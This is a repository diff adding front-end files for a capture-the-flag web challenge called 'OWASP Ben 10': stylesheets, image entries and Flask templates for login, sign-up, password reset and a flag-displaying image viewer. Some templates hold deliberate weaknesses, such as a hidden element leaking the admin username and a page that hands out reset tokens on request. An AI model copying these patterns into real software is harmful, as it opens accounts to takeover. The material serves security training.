input[type="text"], input[type="password"], input[type="email"] {
width: 100%;
padding: 12px;
margin-bottom: 20px;
border: none;
border-radius: 10px;
font-size: 25px;
background-color: #333;
color: white;
}
input[type="submit"] {
background-color: #00FF00;
color: white;
font-size: 25px;
padding: 15px;
width: 100%;
margin-top: 10px;
}
input[type="submit"]:hover {
background-color: #009900;
}
/* Footer styles */
footer {
text-align: center;
font-size: 25px;
margin-top: 50px;
color: #0e8f00;
}
footer a {
color: #44ff00; /* Footer link color */
text-decoration: none;
font-weight: bold;
transition: color 0.3s;
}
footer a:hover {
color: #49ff01;
}
/* Centering links */
.centered-link {
text-align: center;
display: block;
margin-top: 20px;
font-size: 25px;
}
/* Image Grid */
#image-grid {
display: grid;
grid-template-columns: repeat(5, 1fr); /* 5 columns */
grid-gap: 20px;
padding: 20px;
justify-items: center;
}
#image-grid img {
width: 100%;
max-width: 200px;
border: 3px solid #fff;
background-color: white;
padding: 10px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
transition: transform 0.3s ease, box-shadow 0.3s ease;
}
#image-grid img:hover {
transform: scale(1.1);
box-shadow: 0 6px 12px rgba(0, 0, 0, 0.5);
}
/* Image container style */
.image-container {
display: flex;
justify-content: center;
align-items: center;
text-align: center;
flex-direction: column;
}
.image-container img {
max-width: 90%;
height: auto;
border: 5px solid #ffffff;
}
/* Heading for image container */
h2 {
font-size: 30px;
color: white;
text-shadow: 2px 2px 5px rgba(0, 255, 0, 0.8);
margin-bottom: 20px;
}
/* Reset Password Styles */
.reset-password-container {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
text-align: center;
}
.reset-token-info {
text-align: center;
font-size: 24px;
margin-top: 20px;
padding: 20px;
background-color: rgba(0, 0, 0, 0.6);
border-radius: 10px;
color: white;
display: inline-block;
width: 60%;
max-width: 400px;
}
.reset-token-info p {
font-size: 28px;
font-weight: bold;
}
.reset-token-info button {
font-size: 18px;
padding: 10px 20px;
margin-top: 10px;
background-color: #00FF00;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s;
}
.reset-token-info button:hover {
background-color: #00cc00;
}

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/background.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.8 MiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben1.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 144 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben10.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 17 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben2.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 73 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben3.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 72 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben4.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 30 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben5.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 95 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben6.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 27 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben7.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 66 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben8.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 46 KiB

BIN
training/srdnlenctf-2025/web_Ben10/src/static/images/ben9.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 54 KiB

25
training/srdnlenctf-2025/web_Ben10/src/templates/base.html Normal file
View File

@@ -0,0 +1,25 @@
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>OWASP Ben 10 App</title>
<link rel="stylesheet" href="{{ url_for('static', filename='css/styles.css') }}">
</head>
<body>
<header>
<div class="header">
<h1>OWASP Ben 10</h1>
</div>
</header>
<div class="container">
{% block content %}
{% endblock %}
</div>
<footer>
<h4>&copy; 2024 OWASP Ben 10 App</h4>
</footer>
</body>
</html>

47
training/srdnlenctf-2025/web_Ben10/src/templates/forgot_password.html Normal file
View File

@@ -0,0 +1,47 @@
{% extends "base.html" %}
{% block content %}
<div class="forgot-password-container">
<h2>Reset Password</h2>
<form method="POST">
<div>
<label for="username">Username</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="reset_token">Reset Token</label>
<!-- Check if a token is passed in the GET request, if so, fill it in the input field -->
<input type="text" name="reset_token" id="reset_token" value="{{ request.args.get('token') }}" required>
</div>
<div>
<label for="new_password">New Password</label>
<input type="password" name="new_password" id="new_password" required>
</div>
<div>
<label for="confirm_password">Confirm New Password</label>
<input type="password" name="confirm_password" id="confirm_password" required>
</div>
<button type="submit">Reset Password</button>
</form>
<!-- Display error or success messages -->
{% with messages = get_flashed_messages(with_categories=true) %}
{% if messages %}
<div class="message-container">
{% for category, message in messages %}
<p class="error">{{ message }}</p>
{% endfor %}
</div>
{% endif %}
{% endwith %}
<br>
<a href="{{ url_for('login') }}">Back to Login</a>
</div>
{% endblock %}

20
training/srdnlenctf-2025/web_Ben10/src/templates/home.html Normal file
View File

@@ -0,0 +1,20 @@
{% extends "base.html" %}
{% block content %}
<h1>Welcome, {{ username }}</h1>
<h2>Do you like the aliens on my Omnitrix?</h2>
<!-- secret admin username -->
<div style="display:none;" id="admin_data">{{ admin_username }}</div>
<div id="image-grid">
{% for image_name in image_names %}
<div>
<img src="{{ url_for('static', filename='images/' + image_name + '.webp') }}" alt="{{ image_name }}"
onclick="window.location.href='/image/{{ image_name }}'" style="cursor:pointer;">
</div>
{% endfor %}
</div>
<a href="{{ url_for('logout') }}" style="margin-top: 20px; display: block;">Logout</a>
{% endblock %}

22
training/srdnlenctf-2025/web_Ben10/src/templates/image_viewer.html Normal file
View File

@@ -0,0 +1,22 @@
{% extends "base.html" %}
{% block content %}
<div class="image-container">
<h2>Ben10 presents you:</h2>
<h1>{{ image_name }}</h1>
<!-- Display the image -->
<img src="{{ url_for('static', filename='images/' + image_name + '.webp') }}" alt="{{ image_name }}" style="max-width: 100%; height: auto;">
{% if flag %}
<div class="flag-container">
<p class="error">Flag: {{ flag }}</p>
</div>
{% endif %}
<br>
<!-- Link to go back to the home page -->
<a href="{{ url_for('home') }}">Back to Home</a>
</div>
{% endblock %}

36
training/srdnlenctf-2025/web_Ben10/src/templates/login.html Normal file
View File

@@ -0,0 +1,36 @@
{% extends "base.html" %}
{% block content %}
<div class="login-container">
<h2>Login</h2>
<form method="POST">
<div>
<label for="username">Username</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password</label>
<input type="password" name="password" id="password" required>
</div>
<button type="submit">Login</button>
</form>
{% with messages = get_flashed_messages(with_categories=true) %}
{% if messages %}
<div class="message-container">
{% for category, message in messages %}
<p class="error">{{ message }}</p>
{% endfor %}
</div>
{% endif %}
{% endwith %}
<br>
<p><a href="{{ url_for('register') }}">Sign Up</a></p>
<p><a href="{{ url_for('reset_password') }}">Forgot Password?</a></p>
</div>
{% endblock %}

10
training/srdnlenctf-2025/web_Ben10/src/templates/missing_permissions.html Normal file
View File

@@ -0,0 +1,10 @@
{% extends "base.html" %}
{% block content %}
<div class="missing-permission">
<h2>Error - Missing Permissions</h2>
<h1>Only Admins can access Ben10!</h1>
<br>
<a href="{{ url_for('home') }}">Go to Home</a>
</div>
{% endblock %}

35
training/srdnlenctf-2025/web_Ben10/src/templates/register.html Normal file
View File

@@ -0,0 +1,35 @@
{% extends "base.html" %}
{% block content %}
<div class="register-container">
<h2>Sign Up</h2>
<form method="POST">
<div>
<label for="username">Username</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password</label>
<input type="password" name="password" id="password" required>
</div>
<button type="submit">Sign Up</button>
</form>
{% with messages = get_flashed_messages(with_categories=true) %}
{% if messages %}
<div class="message-container">
{% for category, message in messages %}
<p class="error">{{ message }}</p>
{% endfor %}
</div>
{% endif %}
{% endwith %}
<br>
<a href="{{ url_for('login') }}">Login</a></h2>
</div>
{% endblock %}

31
training/srdnlenctf-2025/web_Ben10/src/templates/reset_password.html Normal file
View File

@@ -0,0 +1,31 @@
{% extends "base.html" %}
{% block content %}
<div class="reset-password-container">
<h2>Get Reset Token</h2>
{% if not reset_token %}
<form method="POST">
<input type="text" name="username" placeholder="Enter your username" required><br>
<button type="submit">Get Reset Token</button>
</form>
{% endif %}
{% if reset_token %}
<div class="reset-token-info">
<p>Your reset token is: <strong>{{ reset_token }}</strong></p>
<a href="{{ url_for('forgot_password', token=reset_token) }}">
<button>Reset your password</button>
</a>
</div>
{% endif %}
{% with messages = get_flashed_messages(with_categories=true) %}
{% for category, message in messages %}
<p class="error">{{ message }}</p>
{% endfor %}
{% endwith %}
<a href="{{ url_for('login') }}">Back to Login</a>
</div>
{% endblock %}

225
training/srdnlenctf-2025/web_Ben10/static/css/styles.css Normal file
View File

@@ -0,0 +1,225 @@
/*
You’re better off not checking here to save time, this file sucks as it is, and I don’t even get how the hell it works
Best Regards,
the author (not a front-end engineer)
*/
/* Global styles */
body {
font-family: 'Arial', sans-serif;
background-color: rgba(0, 0, 0, 0.5); /* Transparent background */
color: white;
margin: 0;
padding: 0;
height: 100vh;
background-image: url('/static/images/background.png'); /* Ensure the image path is correct */
background-size: cover;
background-position: center;
background-repeat: no-repeat;
}
/* Header and text styles */
h1, h2 {
text-align: center;
color: #071407;
text-shadow: 2px 2px 10px rgba(0, 255, 0, 0.8);
font-size: 50px; /* Larger font size */
margin-bottom: 20px;
font-weight: bold;
}
.error {
text-align: center;
color: #f30a1e;
text-shadow: 2px 2px 10px rgba(0, 255, 0, 0.8);
font-size: 30px; /* Larger font size */
margin-bottom: 20px;
font-weight: bold;
}
/* Button styles */
button, input[type="submit"], .reset-token-info button {
background-color: #00FF00;
color: #1f1f1f;
font-size: 18px;
padding: 12px 24px;
border: none;
border-radius: 12px;
cursor: pointer;
transition: background-color 0.3s;
margin: 10px auto;
display: block;
}
button:hover, input[type="submit"]:hover, .reset-token-info button:hover {
background-color: #00cc00;
}
/* Link styles */
a {
color: #140601; /* Contrasting color for links */
text-decoration: none;
font-weight: bold;
font-size: 35px;
display: block;
text-align: center;
margin-top: 20px;
transition: color 0.3s;
}
a:hover {
color: #2ca009; /* Slightly different shade for hover effect */
}
/* Form styles */
form {
max-width: 450px;
margin: 20px auto;
padding: 30px;
background-color: rgba(0, 0, 0, 0.6); /* Semi-transparent background */
border-radius: 20px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.8);
}
input[type="text"], input[type="password"], input[type="email"] {
width: 100%;
padding: 12px;
margin-bottom: 20px;
border: none;
border-radius: 10px;
font-size: 25px;
background-color: #333;
color: white;
}
input[type="submit"] {
background-color: #00FF00;
color: white;
font-size: 25px;
padding: 15px;
width: 100%;
margin-top: 10px;
}
input[type="submit"]:hover {
background-color: #009900;
}
/* Footer styles */
footer {
text-align: center;
font-size: 25px;
margin-top: 50px;
color: #0e8f00;
}
footer a {
color: #44ff00; /* Footer link color */
text-decoration: none;
font-weight: bold;
transition: color 0.3s;
}
footer a:hover {
color: #49ff01;
}
/* Centering links */
.centered-link {
text-align: center;
display: block;
margin-top: 20px;
font-size: 25px;
}
/* Image Grid */
#image-grid {
display: grid;
grid-template-columns: repeat(5, 1fr); /* 5 columns */
grid-gap: 20px;
padding: 20px;
justify-items: center;
}
#image-grid img {
width: 100%;
max-width: 200px;
border: 3px solid #fff;
background-color: white;
padding: 10px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
transition: transform 0.3s ease, box-shadow 0.3s ease;
}
#image-grid img:hover {
transform: scale(1.1);
box-shadow: 0 6px 12px rgba(0, 0, 0, 0.5);
}
/* Image container style */
.image-container {
display: flex;
justify-content: center;
align-items: center;
text-align: center;
flex-direction: column;
}
.image-container img {
max-width: 90%;
height: auto;
border: 5px solid #ffffff;
}
/* Heading for image container */
h2 {
font-size: 30px;
color: white;
text-shadow: 2px 2px 5px rgba(0, 255, 0, 0.8);
margin-bottom: 20px;
}
/* Reset Password Styles */
.reset-password-container {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
text-align: center;
}
.reset-token-info {
text-align: center;
font-size: 24px;
margin-top: 20px;
padding: 20px;
background-color: rgba(0, 0, 0, 0.6);
border-radius: 10px;
color: white;
display: inline-block;
width: 60%;
max-width: 400px;
}
.reset-token-info p {
font-size: 28px;
font-weight: bold;
}
.reset-token-info button {
font-size: 18px;
padding: 10px 20px;
margin-top: 10px;
background-color: #00FF00;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s;
}
.reset-token-info button:hover {
background-color: #00cc00;
}

BIN
training/srdnlenctf-2025/web_Ben10/static/images/background.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 1.8 MiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben1.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 144 KiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben10.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 17 KiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben2.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 73 KiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben3.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 72 KiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben4.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 30 KiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben5.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 95 KiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben6.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 27 KiB

BIN
training/srdnlenctf-2025/web_Ben10/static/images/ben7.webp Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 66 KiB

Some files were not shown because too many files have changed in this diff Show More